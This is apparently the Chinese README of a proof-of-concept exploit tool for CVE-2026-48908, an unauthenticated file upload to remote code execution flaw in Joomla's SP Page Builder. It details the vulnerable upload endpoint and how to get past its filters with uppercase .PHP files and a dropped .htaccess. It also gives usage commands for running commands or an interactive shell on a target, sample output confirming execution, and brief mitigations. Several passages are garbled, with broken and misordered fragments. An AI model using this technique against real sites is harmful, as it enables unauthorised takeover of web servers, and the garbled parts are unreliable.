
针对Joomla SP Page Builder中未认证远程代码执行漏洞CVE-2026-48908的概念验证利用工具。通过自适应文件上传和Shell执行实现自动化利用。
针对 CVE-2026-48908 的概念验证漏洞利用程序,这是一个严重(CVSS 4.0 = 10.0)的未经认证的远程代码执行漏洞,存在于 JoomShaper 开发的 Joomla SP Page Builder 组件 (com_sppagebuilder) 中。
| CVE | CVE-2026-48908 |
| 弱点 | CWE-284 不正确的访问控制 → 未经认证的任意文件上传 → RCE |
| 组件 | SP Page Builder (com_sppagebuilder) for Joomla |
| 受影响版本 | 1.0.0 – 6.6.1 |
| 修复版本 | 6.6.2 |
| 所需权限 | 无(预认证) |
| 用户交互 | 无 |
SP Page Builder 暴露了控制器任务 asset.uploadCustomIcon 来处理上传自定义图标字体包:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
在受影响版本中,此任务可以在无需认证且无需有效的反CSRF令牌的情况下访问。它接受一个ZIP存档(多部分字段 custom_icon)并将其内容解压到文档根目录下的一个公开Web服务目录:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
由于上传在预认证状态下可访问,且解压后的文件位于Web根目录,攻击者可以将攻击者控制的文件写入可浏览的位置,并通过HTTP访问它们。
某些版本对存档条目添加了服务器端文件名过滤。此PoC通过三步链击败了常见的实现:
.php、.phtml、.phar、.php3–.php8、.pht、.inc……但它没有进行大小写标准化,因此 .PHP(以及其他大小写混合变体)和 .htaccess 可以绕过。<FilesMatch "\.php$">)只执行小写的 .php,因此上传的 .PHP 最初以源代码形式提供,不会执行。.htaccess 覆盖。 一个包含 AddType application/x-httpd-php .PHP 的 (黑名单也未捕获)与载荷一起放置。在 允许的主机上,这将 注册为PHP,上传的shell。PoC总是打包一个有效的图标字体结构(selection.json、style.css、fonts/<name>.ttf),以便上传被接受,然后添加shell。
自适应——它遍历一个php可执行扩展名列表(最小占位优先),然后使用 .htaccess 回退,并在第一个实际执行代码的方法处停止:
fonts/<shell>.<ext> 每个扩展名:php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php。不需要 .htaccess。 不同的SP Page Builder过滤器会阻止不同的集合,不同的Apache配置会执行不同的扩展名——因此这会找到目标允许且执行的任何组合。fonts/.htaccess + fonts/<shell>.PHP(回退) — 仅在每个直接尝试都失败时使用。丢弃的 .htaccess(AddType … .PHP)强制大写 .PHP 在 AllowOverride 允许的主机上执行(这正是5.4.6样式主机所需要的)。它在第一个执行的方法处停止,并打印出哪个方法成功着陆。每次接受的上传都会被跟踪,因此 --cleanup 会删除所有上传(多次尝试可能会留下仅可写入的目录)。
根据版本和服务器加固情况,结果有所不同,PoC会明确说明(参见下面的结果):完全RCE、仅文件写入(PHP禁用/
AllowOverride None)、已修补(仅管理员可访问)或不易受攻击。
pip install -r requirements.txt # requests
# 确认漏洞并证明代码执行(运行 `id`)
python3 sppb_rce.py https://target.example
# 运行特定命令
python3 sppb_rce.py --url target.example -c "uname -a"
# 交互式伪shell
python3 sppb_rce.py https://target.example --shell
# 仅检查,不运行命令
python3 sppb_rce.py https://target.example --check
# 随后移除已上传的载荷目录
python3 sppb_rce.py https://target.example --cleanup
目标可以作为位置参数或通过 --url 提供,带或不带协议前缀。
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC总会告知您目标的结果:
404——它不是一个完全开放的後门。--cleanup 删除它创建的载荷目录。id,一个算术标记)。php_admin_flag engine off 在上传目录(/media/、/images/、/tmp)中禁用PHP执行。AllowOverride None,以便丢弃的 .htaccess 无法重新启用处理程序。media/.../iconfont/ 下是否存在意外的 .php/.PHP、新的超级用户帐户以及植入的文件管理器。Joomla SP Page Builder 漏洞利用程序 · com_sppagebuilder 未认证RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 任意文件上传 · Joomla 远程代码执行 · 渗透测试漏洞利用脚本
本软件仅供教育目的和授权的安全测试使用——例如,您获得书面许可的渗透测试、包含目标范围内的漏洞奖励计划、CTF比赛以及您自己的实验系统。
未经授权访问、修改或干扰计算机系统在大多数司法管辖区是非法的。您对自己的一切行为承担全部和唯一的责任。 通过使用、下载或分发此代码,您同意:
如果您不同意这些条款,请勿使用本软件。与任何公开可用的漏洞利用/PoC一样,它本着善意分享,以帮助防御者检测、理解和修复漏洞;您用它做什么,完全取决于您。
MIT — 参见 LICENSE。
.htaccessAllowOverride.PHP| 输出 | 含义 | 退出码 |
|---|
CODE EXECUTION CONFIRMED via '<method>' | 存在漏洞——完全未经认证的RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | 仅文件写入(AllowOverride None / PHP在 /media 中禁用) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | 已修补——上传现在需要管理员认证 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 不可利用/组件不存在 | 2 |